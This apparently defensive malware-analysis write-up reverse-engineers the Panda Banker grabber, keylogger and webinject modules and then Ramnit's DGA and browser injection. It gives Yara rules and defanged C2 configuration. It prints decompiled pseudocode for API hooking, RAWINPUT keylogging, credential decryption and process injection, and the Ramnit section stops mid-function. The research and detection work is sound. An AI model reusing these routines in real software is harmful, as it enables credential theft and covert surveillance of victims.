Panda Grabber x86 (32-bit) DLL Module “grabber.dll” (MD5:  b830680a74a9fb0e71a59df57ab36f3d)
Panda Keylogger x86 (32-bit) Module “keylogger32.dll” (MD5: 487e09c2da9e59fbc7f0690bf08a7a7e)
Panda Webinject x86 (32-bit) DLL Client (MD5: c310165d1a438031d7781eb623f64872)

I. Background
II. Panda Webinject x86 (32-bit) DLL Client
III. Hooking Engine: "MinHook"-like Library
IV. Panda x86 (32-bit) "grabber.dll" Module
V. Panda x86 (32-bit) "keylogger32.dll" Module: RAWINPUT
VI. Yara Signature
A. Panda Grabber Module
B. Panda Keylogger Module
C. Panda Webinject Client
VII. Appendix
A. Dynamic Configuration
B. Panda Command-and-Control Server
C. Hooked APIs

I. Background
Panda Banker is an information-stealing malware that leverages various methods to steal data from compromised machines including webinjects to steal financial credentials and keylogger module for intecepting keys.
GDATA previously extensively covered the Panda Banker main functionality, including  but not not limited to its extensive anti-analysis techniques. I highly recommend reading this paper before learning more about Panda. 
Panda is a known Zeus banker derivative and shares significant code overlap with the original leaked Zeus By and large, Panda banker remains to be one of the most popular banking malware available on the crimeware scene that is available for sale for $7,500 USD in its basic functionality.
Some of the advertised capabilities  are as follows:

Formgrabber for Internet Explorer (IE), Chrome, and Firefox
Grabber for screenshots, passwords, cookies, certifications,
credit cards
File Search
SOCKS support
Virtual Network Computing (VNC)

Previously, I extensively covered its injection technique as part of the Panda banker libinject.dll leveraging “AcInitialize” and “AdInjectDll” export functions. ZwWow64QueryInformationProcess64-ZwWow64ReadVirtualMemory64 are used for searching NTDLL in PEB, then for searching API addresses required for work of injecting DLL module (x32/x64) which is being located in AP “svchost” by using NtCreateSection-NtMapViewOfSection-NtUnmapViewOfSection ResumeThread-Sleep-SuspendThread are used for unmapping and injecting the payload into the main thread.

  • AcInitialize: size_t function type that initializes the structures necessary for the injection export function.
  • AdInjectDll: DWORD function type that performs the process injection with the argument with the desired process ID (PID) as an argument of the DWRD type.
II. Panda Webinject x86 (32-bit) Client
Panda banker stores both local and dynamic configuration in JavaScript format that used for command-and-control and subsequent communications. The local configuration is as follows of the exe type that is used in conjunction with the stored public key:

///////////// Basic Panda URL config //////////////
"generated_url":["47[.]com/rcfig.dat", "98[.]net/rcfig.dat","10[.]net/rcong.dat",

The dynamic configuration is parsed for the following values:

/////////////////////// Panda ParseDynamicConfig *shortened //////////////
void *__cdecl parse_dynamic_config(int a1)
const char *grab_value;

grab_value = 0;
switch ( a1 )
case 0:
grab_value = "created";
case 1:
grab_value = "botnet";
case 2:
grab_value = "check_config";
case 3:
grab_value = "send_report";
case 4:
grab_value = "check_update";
case 5:
grab_value = "url_config";
case 6:
grab_value = "url_webinjects";
case 7:
grab_value = "url_update";
case 8:
grab_value = "url_plugin_vnc32";
case 9:
grab_value = "url_plugin_vnc64";
case 10:
grab_value = "url_plugin_vnc_backserver";
case 11:
grab_value = "url_plugin_grabber";
case 12:
grab_value = "url_plugin_backsocks";
case 13:
grab_value = "url_plugin_backsocks_backserver";
case 14:

Additionally, the bot checks machine software and runs various WMI queries to populate the data about the infected machine such as:

Select * from AntiVirusProduct
Select * from AntiSpywareProduct
Select * from FirewallProduct

The bot also generates information object about the infected machine. The elongated version is as follows:

///////////// Elongated Panda BotInfo ////////////
"BotInfo": {
"systime": UNIX,
"process": "svchost.exe",
"user": "MACHINE",
"id": "BOT",
"botnet": "2.6.9",
"version": "2.6.10",
"os": {
"version": INT,
"sp": INT,
"build": INT,
"bit": INT,
"server": INT,
"lang": INT,
"explorer": INT
"name": "webinjects.dat",
"antivirus": DWORD,
"antispyware": DWORD.
"firewall": DWORD,
Panda injects its main bot after the successful infection to hook various browser API, TranslateMessage, and GetClipboardData. The main injected contains 354 functions.
The main injected bot INT-type function is as follows: 

///////////////////////// Panda MainInject Function //////////////////////
int Panda_main_inject()
int result;
HMODULE user32_1;
HMODULE user32;

result = Hook_Initialize();
if ( !result )
Addend = 0;
dword_1001047C = (int)sub_10006122;
user32_1 = GetModuleHandleW(L"user32.dll");
*(_DWORD *)TranslateMessage_0 = GetProcAddress(user32_1, "TranslateMessage");
dword_10010488 = (int)sub_10006077;
user32 = GetModuleHandleW(L"user32.dll");
*(_DWORD *)GetClipboardData = GetProcAddress(user32, "GetClipboardData");
hook_main_entrance((int)TranslateMessage_0, 2u);
result = EnableHook(0);
return result;

III. Hooking Engine: “MinHook”-like Library

Panda Banker utilizes a “MinHook”-like hooking engine to hook various API of interest. MinHook is a known minimalistic x86/x64 API hooking library for Windows that is leveraged by various banking malware (most notoriously, TinyNuke banker) to hook various browser API for information-stealing purposes.
For example, Panda uses this routine to enable hooks for Mozilla Firefox browser API calls PR_Close, PR_Read, PR_Write, and PR_Poll from nss3.dll.

The CreateHook function sequence is as follows:

The CreateHook function sequence -> “EnterSpinLock” (via InterlockedCompareExchange API call) -> checks if “IsExecutableAddress” (via VirtualQuery API call with Buffer.State and Buffer.Protect check for executable)  -> “FindHookEntry” (DWORD entry) -> “AllocateBuffer” (via VirtualAlloc API call) -> “CreateTrampolineFunction” ->  if not entry “AddHookEntry” -> “FreeBuffer” -> “LeaveSpinLock”.
By and large, the Panda hooking engine works by replacing the prologue of the targeted API call with the unconditional JMP to the detour function.
Panda enables its hooks as as follows leveraging VirtualProtect with the usual pJmp->opcode = 0xE9 (32-bit relative JMP).
The pseudo-coded C++ EnableHook function is as follows:

///////////////////////// Panda EnableHook Function //////////////////////
signed int __fastcall Panda_EnableHook(int a1, int patch_above)

hook_entry = patch_above;
v3 = lpMem + 44 * a1;
patchSize = 5;
v10 = patch_above;
dwSize = 5;
v5 = (*(_BYTE *)(v3 + 20) & 1) == 0;
pPatchTarget = *(_WORD **)v3;
v13 = *(_WORD **)v3;
if ( !v5 )
pPatchTarget = (_WORD *)((char *)pPatchTarget - 5);
patchSize = 7;
v13 = pPatchTarget;
dwSize = 7;
if ( VirtualProtect(pPatchTarget, patchSize, 0x40u, &flOldProtect) )
if ( hook_entry )
{ // enable hook
*(_BYTE *)pPatchTarget = 0xE9u; // jump relative opcode 0xe9
*(_DWORD *)((char *)pPatchTarget + 1) = *(_DWORD *)(v3 + 4) - (_DWORD)pPatchTarget - 5;
if ( *(_BYTE *)(v3 + 0x14) & 1 )
**(_WORD **)v3 = 0xF9EBu;
else if ( *(_BYTE *)(v3 + 0x14) & 1 )
*(_DWORD *)pPatchTarget = *(_DWORD *)(v3 + 0xC);
v8 = (int)(pPatchTarget + 2);
*(_WORD *)v8 = *(_WORD *)(v3 + 0x10);
*(_BYTE *)(v8 + 2) = *(_BYTE *)(v3 + 0x12);
pPatchTarget = v13;
*(_DWORD *)pPatchTarget = *(_DWORD *)(v3 + 12);
*((_BYTE *)pPatchTarget + 4) = *(_BYTE *)(v3 + 16);
VirtualProtect(pPatchTarget, dwSize, flOldProtect, &flOldProtect);
v9 = GetCurrentProcess();
FlushInstructionCache(v9, pPatchTarget, dwSize);
result = 0;
*(_BYTE *)(v3 + 20) = 4 * (v10 & 1) | (*(_BYTE *)(v3 + 20) & 0xFD | 2 * (v10 & 1)) & 0xFB;
result = 10;
return result;

IV. Panda x86 (32-bit) “grabber.dll” Module
Panda leverages and injects into svchost.exe the module called internally “grabber.dll.” This module contains 336 functions.

The module designed to steal stored information from various software applications as as well as delete it as necessary in order to force the victim to enter it again to be stolen by the malware.

Name Address Ordinal
DeleteCache 10003E10 1
DeleteCookies 10003E4A 2
DeleteFlash 10003E89 3
GrabCertificates 10004D7B 4
GrabCookies 10004DDB 5
GrabFlash 10005106 6
GrabForms 10005139 7
GrabPasswords 100053C9 8
GrabSoftList 100054CD 9
DllEntryPoint 1000118A [main entry]

The brief outline of all the functions is as follows:
A. “GrabSoftList” function (ordinal 9) as temporarily stored “softlist.txt”
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys “UninstallString” and “DisplayName” via RegEnumKeyExW API to obtain a list of installed software
B. “GrabCertificates” function (ordinal 4) 
Panda opens the so-called “certificate store” to query for certificates via the following API calls: 

  • CertOpenSystemStoreW
  • CertEnumCertificatesInStore
  • PFXExportCertStoreEx(…, &pPFX, L”password”, 0, 4)
  • GetSystemTime
  • CertCloseStore

The malware stores the cerificafres in the following format:
certs\\%s\\%s_%02u_%02u_%04u.pfx (pPFX.pbData, pPFX.cbData)
C. “GrabCookies” function (ordinal 5) as temporarily stored cookies.txt
Panda grabs cookies from the following browser grab calls:

  • InternetExplorerGetCookies (local search as “*.txt” in APPDATA\Low)
  • MicrosoftEdgeGetCookies (local search as Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe)
  • FirefoxGetCookies (local search as Mozilla\Firefox for “cookies.sqlite”)
  • ChromeGetCookies (local search as Google\Chrome for “cookies”)
  • OperaGetCookies (local search as Opera Software for “cookies”)

D. “GrabForms” function (ordinal 7) as temporarily “autoforms.txt”
The malware steals stored form data from browser application as follows:

  • Internet_Explorer -> registry “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\FormData”
  • Google Chrome ->  “Google\Chrome” for “web data”
  • Mozilla Firefox -> “Mozilla\Firefox” for “formhistory.sqlite”
  • Opera -> “Opera Software” for “web data”

E. GrabFlash” function (ordinal 6)
Panda grabs Flashplayer persistent cookie information in 
“APPDATA Macromedia\Flash Player” for “*.sol” and “flashplayer.cab.”
F. “GrabPasswords” function (ordinal 8) as temporarily  “passwords.txt”
The malware steals passwords from the following software:

Mozilla Firefox (registry parser method)
Google Chrome (local file searcher)
Opera (local file searcher)
Microsoft Outlook (registry parser method)
Windows LiveMail(registry parser method)
Thunderbird (registry parser method)
FireFTP (registry parser method)
WinSCP (registry parser method)
TotalCommander (registry and local parser method)
FileZilla (registry parser method)
CuteFTP (registry and local parser method

For example, the malware steals Internet Explorer passwords via 
multiple methods:

  • Grabs passwords via “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2” for stored autocomplete Internet Explorer credentials.
  • Enumerates the credentials using the CredEnumerateW API while filtering with “Microsoft_WinInet_.” The credentials are then decrypted using CryptUnprotectData in conjunction with the GUID “abe2869f-9b47-4cd9-a358-c22904dba7f7” as the decryption salt.
  • Leverages Windows Vault API to enumerate and extract credentials stored by Microsoft Windows Vault. 

The stolen information is stored as follows:
“Soft: %s\tType: %s\tHost : %S\tUser : %S\tPass : %S\r\n”
G. “DeleteFlash,” “DeleteCookies,” and “DeleteCache” functions (ordinal 3, 2, 1 respectively)
Panda leverages these functions to remove and reset various cached and stored credentials and force the victim to enter them again with the goal to intercept them at the point of victim reentry of them.
V. Panda x86 (32-bit) “keylogger32.dll” Module: RAWINPUT Method
The malware also deploys a custom keylogger32.dll module to steal keyed data as well as to grab screenshots and intercept copied clipboard data leveraging “RAWINPUT” method.

The following exports as used as part of the module:
Name Address Ordinal
LoggerStart 1000209B 1
LoggerStop 1000216B 2
DllEntryPoint 10001105 [main entry]
The main function “LoggerStart” launched keylogger process via a separate thread. The thread sets up execution via CreateWindowExW with lpfnWndProc as a pointer to its function that processes window messages. The very similar keylogger method is described here.
By and large, the keylogger creates the the invisible message only window with the pseudorandom lpszClassName value generated as follows leveraging __rdtsc call (the processor time stamp, which represents the number of clock cycles since the last reset):

// Panda Keylogger Generate ClassName //
v1 = dword_1000522C;
v2 = 0;
if ( !v1 )
v3 = __rdtsc();
v1 = v3;
v1 = 214013 * v1 + 2531011;
lpcClassName[v2++] = ((v1 >> 16) & 32767ui64) % 25 + 97;

Ultimately, the keylogger passes only the bear minimum values to create an invisible “Message Only Window” as follows:

  • CreateWindowExW(0, v7.lpszClassName, 0, 0, 0, 0, 0, 0, HWND_MESSAGE, 0, v7.hInstance, 0)

Panda uses RegisterRawInputDevices function to register and record calls. The first parameter points to the array of RAWINPUTDEVICE structs.  the GetRawInputData first parameter is a handle to the RAWINPUT structure from the device, whose members are, due to usUsagePage=1 (generic desktop controls)and usUsage=6 (keyboard).
The pressed keys of intereest are processed with MapVirtualKey and translated to characters and saved to a file later.

//////// Panda Keylogger KeyProcessor //
GetWindowTextW_0((int)&v13, v2);
v13 = 0;
v4 = GetWindowThreadProcessId(v2, 0);
dwhkl = GetKeyboardLayout(v4);
v5 = GetCurrentThreadId();
AttachThreadInput(v4, v5, 1);
v6 = GetCurrentThreadId();
AttachThreadInput(v4, v6, 0);
switch ( uCode )
case 8u:
v10 = wsprintfW(&v14, L"[BACKSPACE]");
case 9u:
v10 = wsprintfW(&v14, L"[TAB]");
case 0xDu:
v10 = wsprintfW(&v14, L"[ENTER]");
case 0x1Bu:
v10 = wsprintfW(&v14, L"[ESC]");
case 0x20u:
v10 = wsprintfW(&v14, (LPCWSTR)" ");
v7 = dwhkl;
v8 = MapVirtualKeyExW(uCode, 0, dwhkl);
v9 = v8;
if ( uCode >= 33 && (uCode <= 40 || uCode > 44 && (uCode <= 46 || uCode == 111 || uCode == 144)) )
v9 = v8 | 0x100;
memset(&Dst, 0, 64u);
if ( ToUnicodeEx(uCode, v9, &KeyState, (LPWSTR)&Dst, 32, 0, v7) <= 0 )
if ( GetKeyNameTextW((unsigned __int16)v9 << 16, (LPWSTR)&Dst, 32) <= 0 )
v10 = wsprintfW(&v14, L"[%s]", &Dst);
v10 = wsprintfW(&v14, L"%s", &Dst);
byte_10005198 = 0;
if ( v10 )

Additionally, the malware steals copied clipboard data via sequence of OpenClipboard, GetClipboardData, and  SetClipboardViewer  API calls receiving a WM_DRAWCLIPBOARD. The stolen data is stored in the following format with the timestamp:

  • L”\r\n[Clipboard || %s]\r\n”

It is also notable the keylogger malware also has capabilities to JPEG screenshots via the usual GDI library DLL.

VI. Yara Signature
A. Panda Grabber Module
import "pe"

rule crime_win32_panda_banker_grabber_dll {
description = "Detects Panda Banker grabber.dll module"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "7f85d26b4eb5f704544e2d1af97100f6e3a71b866d4ae2375cc3bbbac2a3f9c9"
$s1 = "Grabber: OutlookReadPassword - unsupported password type" fullword wide
$s2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" fullword wide
$s3 = "Grabber: OperaGetCookies - ok" fullword wide
$s4 = "Grabber: GrabTotalCommander - ok" fullword wide
$s5 = "grabber.dll" fullword ascii
$s6 = "Pstorec.dll" fullword wide
$s7 = "SMTP Password" fullword wide
$s8 = "Grabber: GrabPasswords - ok" fullword wide
$s9 = "Grabber: FirefoxGetCookies - ok" fullword wide
$s10 = "Grabber: IEGetCookies - ok" fullword wide
$s11 = "Grabber: ChromeGetCookies - ok" fullword wide
$s12 = "Grabber: EdgeGetCookies - ok" fullword wide
$s13 = "webdav.tappin.com" fullword ascii
$s14 = "passwords.txt" fullword wide
$s15 = "fireFTPsites.dat" fullword wide
$s16 = "certs\\%s\\%s_%02u_%02u_%04u.pfx" fullword wide
$s17 = "Grabber: FirefoxGetCookies - called" fullword wide
$s18 = "Grabber: GrabCuteFTP - ok" fullword wide
( uint16(0) == 0x5a4d and
filesize < 200KB and
pe.imphash() == "8031528b770e1d9f25f2e64511835e27" and pe.exports("DeleteCache") and pe.exports("DeleteCookies") and pe.exports("DeleteFlash") and pe.exports("GrabCertificates") and pe.exports("GrabCookies") and pe.exports("GrabFlash") and
( 8 of them )
) or ( all of them )

B. Panda Keylogger Module

import "pe"

rule crime_win32_panda_banker_keylogger_dll {
description = "Detects Panda Banker keylogger.dll module"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "99d116c1e3defb75ebde30e5fcca9a78e16889cde3025823a106ed741fad711c"
$x1 = "keylogger32.dll" fullword ascii
$s2 = "%s%4d-%02d-%02d_%02d-%02d-%02d-%04d.jpg" fullword ascii
$s3 = "LoggerStart" fullword ascii
$s4 = "LoggerStop" fullword ascii
$s5 = ":,:6:R:\\:" fullword ascii

( uint16(0) == 0x5a4d and
filesize < 40KB and
pe.imphash() == "8c964d45bdb5d28ad0f6d7e92b0efea0" and pe.exports("LoggerStart") and pe.exports("LoggerStop") and
( 1 of ($x*) or all of them )
) or ( all of them )

C. Panda Webinject Client

import "pe"

rule crime_win32_panda_banker_webinject_dll_client {
description = "Detects webinject Panda DLL client"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "6a7ec42e06446d8133e4e6838042a38f6198b54b3664fe6bb4df25537493c2f8"
$s1 = "opera_browser.dll" fullword wide
$s2 = "microsoftedgecp.exe" fullword wide
$s3 = "microsoftedge.exe" fullword wide
$s4 = "webinjects" fullword ascii
$s5 = "grabbed\\%S_%02u_%02u_%02u.txt" fullword wide
$s6 = "HTTP authentication: username=\"%s\", password=\"%s\"" fullword wide
$s7 = "url_plugin_keylogger" fullword ascii
$s8 = "url_plugin_webinject64" fullword ascii
$s9 = "url_plugin_webinject32" fullword ascii
$s10 = "testinject" fullword ascii
$s11 = "url_webinjects" fullword ascii
$s12 = "webinject%ddata" fullword ascii
$s13 = "screen_process" fullword ascii
$s14 = "notify_process" fullword ascii
$s15 = "keylog_process" fullword ascii
$s16 = "list_blockedinjects" fullword ascii
$s17 = "screenshots\\%s\\%04x_%08x.jpg" fullword wide
$s18 = "HTTP authentication (encoded): %S" fullword wide
$s19 = "inject_vnc" fullword ascii
$s20 = "X-Content-Security-Policy" fullword ascii
( uint16(0) == 0x5a4d and
filesize < 200KB and
pe.imphash() == "c06f3ba3522256a0075a0d89fb44cd42" and
( 8 of them )
) or ( all of them )

VII. Appendix

A. Dynamic Configuration
"botnet": "2.6.9",
"check_config": 327685,
"send_report": 327685,
"check_update": 327685,
"url_config": "hXXps://uiaoduiiej.chimkent[.]su/5fewucaopezanxenuzebu.dat",
"url_webinjects": "hXXps://uiaoduiiej.chimkent[.]su/webinjects.dat",
"url_update": "hXXps://uiaoduiiej.chimkent[.]su/5fewucaopezanxenuzebu.exe",
"url_plugin_webinject32": "hXXps://uiaoduiiej.chimkent[.]su/webinject32.bin",
"url_plugin_webinject64": "hXXps://uiaoduiiej.chimkent[.]su/webinject64.bin",
"remove_csp": 1,
"inject_vnc": 1,
"url_plugin_vnc32": "hXXps://uiaoduiiej.chimkent[.]su/vnc32.bin",
"url_plugin_vnc64": "hXXps://uiaoduiiej.chimkent[.]su/vnc64.bin",
"url_plugin_vnc_backserver": "nityYUQPeUwsKYfNAKh7c9O8lCQ=",
"url_plugin_backsocks": "hXXps://uiaoduiiej.chimkent[.]su/backsocks.bin",
"url_plugin_backsocks_backserver": "nityYUQPeUwsKYfNAKh7c9O8lCQ=",
"url_plugin_grabber": "hXXps://uiaoduiiej.chimkent[.]su/grabber.bin",
"grabber_pause": 1,
"grab_softlist": 1,
"grab_pass": 1,
"grab_form": 1,
"grab_cert": 1,
"grab_cookie": 1,
"grab_del_cookie": 0,
"grab_del_cache": 0,
"url_plugin_keylogger": "hXXps://uiaoduiiej.chimkent[.]su/keylogger.bin",
"keylog_process": "ZmlyZWZveC5leGUAY2hyb21lLmV4ZQBpZXhwbG9yZS5leGUAb3BlcmEuZXhlAAA=",
"screen_process": "cHV0dHkuZXhlAAA=",
"reserved": "JxZpa8bZHbYkIIvhyEd1cVZ/nS6URxD5wnvrDNiAjyi3xnWW8S8q9f/0ap+7kLHnW4XhNudnwRRizwE="

B. Panda Command-and-Control: 


C. Hooked APIs

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}

Hooked API:
Internet Explorer (wininet.dll):

Mozilla Firefox (nss3.dll):

Google Chrome (chrome.dll):

Winsock 2 (ws2_32.dll):


Let’s Learn: Diving into the Latest "Ramnit" Banker Malware via "sLoad" PowerShell

Goal: In-depth reverse engineering of the latest Ramnit banker from “sLoad” PowerShell malware. The focus of the analysis is on the Ramnit banker core functionality, its hooking engine, webinjects, process injection, and main configuration.

https://platform.twitter.com/widgets.js Malware:
Original Loader (436aaa1014e8528ed72c89c4bf74d14c
rmnsoft.dll (304772c80b157a916c7041f2f15939fb)
hooker2 (625db8cd9536c91f5ee044c318a80fec)
 -> x86 injected bot (73c95a2a9c9348f0b65de23a17f1790c)
 -> x64 injected bot (f836f4949483071d80b59d47d8ce2bd9)

For while, I have been observing an interesting combination of sLoad  PowerShell loader and the Ramnit banker malware targeting customers of Italian and United Kingdom financial institutions. In one of the most recent campaigns, Ramnit was distributed via sload. The chain is very interesting on its own and includes including PowerShell loader with slightly modified PowerShell empire “invoke-ReflectivePEInjection,” certutil, and wscript execution. The malware chain is available to review at Any App Run.
Ramnit is one of the oldest bankers on the financial cybercrime ecosystem dating back to 2010. Originally, started as a worm spreader, the malware acquired the banker capabilities after its developers adopted the leaked Zeus source code converting it into a full-fledged banking Trojan. 
Ramnit banker somehow survived the Europol takedown in 2015 and remained active since 2016. It is notable, however, with the disappearance of the Ramnit version known as “demetra,” which was  distributed via Rig Exploit Kit and “Seamless” gate
The latest campaigns leverage a Ramnit version adding LUA webinject-style as well relying on screenshot capturing functionality for account takeover fraud (ATO).

I. Ramnit Main DLL "rmnsoft.dll"
A. Main Bot Configuration
B. Ramnit Domain Generation Algorithm (DGA)
II. Ramnit Webinject DLL "hooker2.dll"
A. Browser Setting "Relax" and Inject Setup
B. Process Injection: Resource "BIN" x86 or x64
III. x86/x64 Injected Bot
A. Ramnit Hooking Engine
B. Ramnit Anti-Rapport
C. LUA Webinject Structure
V. Yara Signatures
A. Yara: Ramnit Main DLL "rmnsoft.dll"
B. Yara: Ramnit Webinject DLL "hooker2.dll" (With Resource x86 and x64 Bot)
VI. Appendix
A. Ramnit Hooked API
B. LUA Webinject
C. Ramnit DGA Code (Pseudo) in Python

I. Ramnit Main DLL “rmnsoft.dll”
The main module of the Ramnit banker is called internally “rmnsoft.dll.” This module is responsible for execution of various commands and essentially remained unchanged for the past 6 years. It is well-documented by various researchers. The module also used for central communication between other modules and Ramnit core thread execution. 
The module contains the following exports:

  • _CryptoCheckSignMessage@24
  • Start
  • Stop
Command Name Type Description
getexec command_type=1 Download, save, and launch an executable file from a URL given by the Ramnit Command-and-Control (C2) infrastructure.
kos command_type=2 Kill operating system or shut down the system via ntdll.dll:NtShutdownSystem and ExitWindowsEx
screen command_type=3 Take screenshots and save it locally via Gdiplus.dll and GdipSaveImageToStream
update command_type=4 Download the latest Ramnit malware from the C2
cookies command_type=5 Retrieve local cookies from Windows Internet Explorer, Firefox, Opera, Safari, Chrome, Flash SOL
removecookies command_type=6 Delete cookies from the system in order to force the victim to log in again and collect the data

A. Main Bot Configuration
Following reported CERT.PL Ramnit structure outlined in the blog, this specific Ramnit has the main configuration as follows:

Config Value
botnet_name ‘23.04_443’
rc4_key ‘fB1oN5frGqf’
md5_magic ‘fE4hNy1O’
dga_seed ‘2538799770’
dga_no ‘100’
port ‘443’
hardcoded_domain ‘heoxhliqbug[.]eu’
dga_tlds ‘.eu’

The malware communicates to the command and control server leveraging the hardcoded MD5: ‘f054bbd2f5ebab9cb5571000b2c50c02′ for data structucture as part of the check-in.  
B. Ramnit Domain Generation Algorithm (DGA)
All the DGA structs are present in the beginning .data section as reported. The domain generation algorithm involves only one “.eu” top level domain (TLD) with the unchanged rest of the other logic as reported by CERT.PL. Ramnit leverages linear congruential generator (LCG) for pseudo-random generation (thanks to @nazywam for the previous coverage!).
The pseudo-coded C++ DGAdomain function is as follows:

int __stdcall dga_add_domain_eu(int dga_seed, LPSTR lpString1)
LCG_DGA(dga_seed, 12u);
v6 = v2;
v3 = lpString1;
*v3++ = LCG_DGA(v2, 25u) + 'a';
while ( v4 != 1 );
*v3 = 0;
lstrcatA(lpString1, a_eu); // ".eu"
return (v6 * (unsigned __int64)(unsigned int)dga_seed >> 0x20) + v6 * dga_seed;

The “rmnsoft.dll” also reaches out to the following domains to check connectivity:

-> ‘websearch[.]com:80’
-> ‘info[.]com:80’
-> ‘baidu[.]com:80’
II. Ramnit Webinject DLL “hooker2.dll” 
The main module responsible for process injection and hooking of various browser APIs is called internally “hooker2.dll.” The exports are as follows:
It is notable, however, that the unpacked version contains two resources with the original language artifacts set up to “Russian.”
Resource Type
(cpu: 32-bit)
(cpu: 64-bit)
Primarily, this module is responsible for editing and disabling protected browser settings and injecting a 32-bit or 64-bit payload into the browser.
A. Browser Setting “Relax” and Inject Setup
The process injection functions targets four browsers from Microsoft Edge to Google Chrome.
 The pseudocoded C++ function is as follows:

//////////////////// Ramnit Main Browser Setup and Injection ///////
char __thiscall process_injection_main(char *this, int a2)

v3 = 0;
v4 = this;
dwProcessId = 0;
func6(&StartupInfo.lpReserved, 0, 64);
StartupInfo.cb = 68;
ProcessInformation = 0i64;
func6(&pszPath, 0, 260);
v5 = GetShellWindow();
GetWindowThreadProcessId(v5, &dwProcessId);
v6 = func_str_iter((int **)v4, (char *)(a2 + 36));
if ( !v6 )
return v3;
if ( v6 == 2 )
if ( MicrosoftEdge_processfinder(v2) )
SHGetSpecialFolderPathA(0, &pszPath, 38, 0);
lstrcatA(&pszPath, "\\Internet Explorer\\iexplore.exe");
// Create process with CREATE_SUSPENDED flag

if ( CreateProcessA(0, &pszPath, 0, 0, 0, 0x4000000u, 0, 0, &StartupInfo, &ProcessInformation) )
v8 = ProcessInformation.dwProcessId;
*(_DWORD *)(a2 + 8) = ProcessInformation.dwProcessId;
if ( write_process_inj(v8, 0xF36BAC23, 0) )
v3 = 1;
set_thread_exec(v7, *(_DWORD *)(a2 + 8));
return v3;
return v3;
if ( v6 == 4 )
return v3;
if ( v6 == 1 )
v3 = 1;
goto LABEL_22;
if ( v6 != 5 )
if ( v6 != 3 || dwProcessId != *(_DWORD *)(a2 + 24) )
return v3;
if ( mozilla_profile_writer() )
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe",
(unsigned int)&pszPath);
func4(*(_DWORD *)(a2 + 8), v4 + 8);
// Create process with CREATE_SUSPENDED flag

if ( CreateProcessA(0, &pszPath, 0, 0, 0, 0x4000000u, 0, 0, &StartupInfo, &ProcessInformation) )
v11 = ProcessInformation.dwProcessId;
*(_DWORD *)(a2 + 8) = ProcessInformation.dwProcessId;
write_process_inj(v11, 0xF36BAC23, 0);
get_str_func(*(_DWORD *)(a2 + 8), (int)"LdrLoadDll", v10, 0xBB49);
get_str_func(*(_DWORD *)(a2 + 8), (int)"BaseThreadInitThunk", v12, 0xBB49);
goto LABEL_21;
if ( dwProcessId == *(_DWORD *)(a2 + 24) )
reg_query_main(v7, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", (unsigned int)&pszPath);
if ( !set_chrome_pref(v2)
|| (func4(*(_DWORD *)(a2 + 8), v4 + 8),
lstrcatA(&pszPath, " --disable-http2 --disable-quic --disk-cache-size=1"),
// Create process with CREATE_SUSPENDED flag

CreateProcessA(0, &pszPath, 0, 0, 0, 0x4000000u, 0, 0, &StartupInfo, &ProcessInformation))
&& (*(_DWORD *)(a2 + 8) = ProcessInformation.dwProcessId,
write_process_inj(*(_DWORD *)(a2 + 8), 0xF36BAC23, ProcessInformation.hProcess)) )
v3 = 1;
ZwMapViewOfSection_func(v9, *(_DWORD *)(a2 + 8));
goto LABEL_22;
return v3;

Ramnit sets up the following preferences that are meant to “relax” Mozilla browser security and write changes to .ini and user[.]js preferences files locally.

"pref(\"privacy.trackingprotection.pbmode.enabled\", false);"
"pref(\"browser.cache.disk.enable\", false);"
"pref(\"browser.cache.disk.smart_size.enabled\", false);"
"pref(\"browser.cache.disk.capacity\", 0);");
"pref(\"network.http.spdy.enabled.http2\", false);"

In addition, the malware attempts to “relax” Google Chrome 
via “–disable-http2 –disable-quic –disk-cache-size=1” setup.
B. Process Injection: Resource “BIN” x86 or x64
The process injection works as follows leveraging usual WriteProcessMemory API after obtaining access to the resource section and pulling the appropriate binary (either a 32-bit or 64-bit one) and injecting into the browser of choice.

The pseudo-coded C++ function is as follows searching the loaded resource for “0x5A4D” and “0x4550,” “MZ” and “NT” headers, respectively to load the actual binary:

//////////////////// Ramnit Simplified Process Injection ///////////
char __stdcall write_process_inj(DWORD dwProcessId, int a2, HANDLE hProcess)
v3 = hProcess;
v4 = 0;
flOldProtect = 0;
_mm_storel_pd((double *)lpBaseAddress, 0i64);
NumberOfBytesRead = 0;
v5 = 0x7D0;
if ( v3 || (v3 = OpenProcess(0x1FFFFFu, 0, dwProcessId)) != 0 )
if ( check_if_x64(0, v3) || !(dword_10064B98 & 1) )
if ( !*(_QWORD *)lpBaseAddress )
goto LABEL_29;
ReadProcessMemory(v3, lpBaseAddress[0], &Buffer, 0x40u, &NumberOfBytesRead);
if ( !NumberOfBytesRead )
goto LABEL_29;
if ( Buffer != 23117 )
goto LABEL_29;
v9 = (char *)lpBaseAddress[0] + v21;
ReadProcessMemory(v3, (char *)lpBaseAddress[0] + v21, &v18, 0xF8u, &NumberOfBytesRead);
if ( !NumberOfBytesRead )
goto LABEL_29;
if ( v18 != 17744 )
goto LABEL_29;
if ( v19 == a2 )
goto LABEL_29;
dwProcessIdb = v9 + 8;
if ( !VirtualProtectEx(v3, v9 + 8, 4u, 4u, &flOldProtect) )
goto LABEL_29;
WriteProcessMemory(v3, dwProcessIdb, &a2, 4u, &NumberOfBytesRead);
VirtualProtectEx(v3, dwProcessIdb, 4u, flOldProtect, &NumberOfBytesRead);
v6 = lpBaseAddress[0];
v7 = lpBaseAddress[1];
if ( !*(_QWORD *)lpBaseAddress )
if ( !v5 )
v11 = 0;
v5 -= 0x64;
v6 = lpBaseAddress[0];
v7 = lpBaseAddress[1];
while ( !*(_QWORD *)lpBaseAddress );
if ( !__PAIR__((unsigned int)v6, (unsigned int)v7) )
goto LABEL_29;
if ( !ReadProcessMemory_0((HANDLE)v6, v7, (LPVOID)0x40, (DWORD)&NumberOfBytesRead, v11) )
goto LABEL_29;
if ( !NumberOfBytesRead )
goto LABEL_29;
